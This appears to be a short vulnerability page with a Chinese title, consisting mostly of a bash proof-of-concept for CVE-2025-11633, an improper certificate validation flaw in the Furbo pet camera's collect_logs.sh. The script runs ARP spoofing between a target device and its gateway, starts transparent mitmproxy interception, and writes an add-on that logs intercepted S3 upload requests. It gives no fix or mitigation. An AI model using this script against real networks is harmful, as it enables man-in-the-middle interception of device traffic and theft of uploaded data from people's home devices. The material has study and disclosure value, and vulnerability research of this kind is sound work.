CVE-2025-11633：Tomofun Furbo设备collect_logs.sh证书验证不当漏洞

#!/bin/bash # CVE-2025-11633 PoC - Improper Certificate Validation in Furbo collect_logs.sh # This PoC demonstrates the MITM attack scenario against the vulnerable upload_file_to_s3 function # Step 1: Set up a rogue S3 endpoint using mitmproxy or similar tool # The vulnerable script fails to validate certificates, allowing MITM attacks # Step 2: Intercept the HTTPS connection from the Furbo device # Use ARP spoofing to redirect traffic through attacker's machine TARGET_IP="192.168.1.100" # Furbo device IP GATEWAY_IP="192.168.1.1" # Network gateway # Enable IP forwarding echo 1 > /proc/sys/net/ipv4/ip_forward # Perform ARP spoofing to intercept traffic arpspoof -i eth0 -t $TARGET_IP $GATEWAY_IP & arpspoof -i eth0 -t $GATEWAY_IP $TARGET_IP & # Step 3: Set up SSL stripping proxy to intercept S3 uploads # Using mitmproxy to intercept and log the upload_file_to_s3 requests mitmproxy --mode transparent --ssl-insecure -s intercept_s3.py # Step 4: intercept_s3.py - Log intercepted S3 upload requests cat << 'EOF' > intercept_s3.py from mitmproxy import http import logging logging.basicConfig(filename='intercepted_uploads.log', level=logging.INFO) def request(flow: http.HTTPFlow): if ".amazonaws.com" in flow.request.pretty_host: logging.info(f"Intercepted S3 upload: {flow.request.method} {flow.request.pretty_host}{flow.request.path}") # Extract and log sensitive data from the request if flow.request.content: logging.info(f"Payload size: {len(flow.request.content)} bytes") EOF echo "[*] MITM attack setup complete. Waiting for Furbo device to upload logs..." echo "[*] Check intercepted_uploads.log for captured data."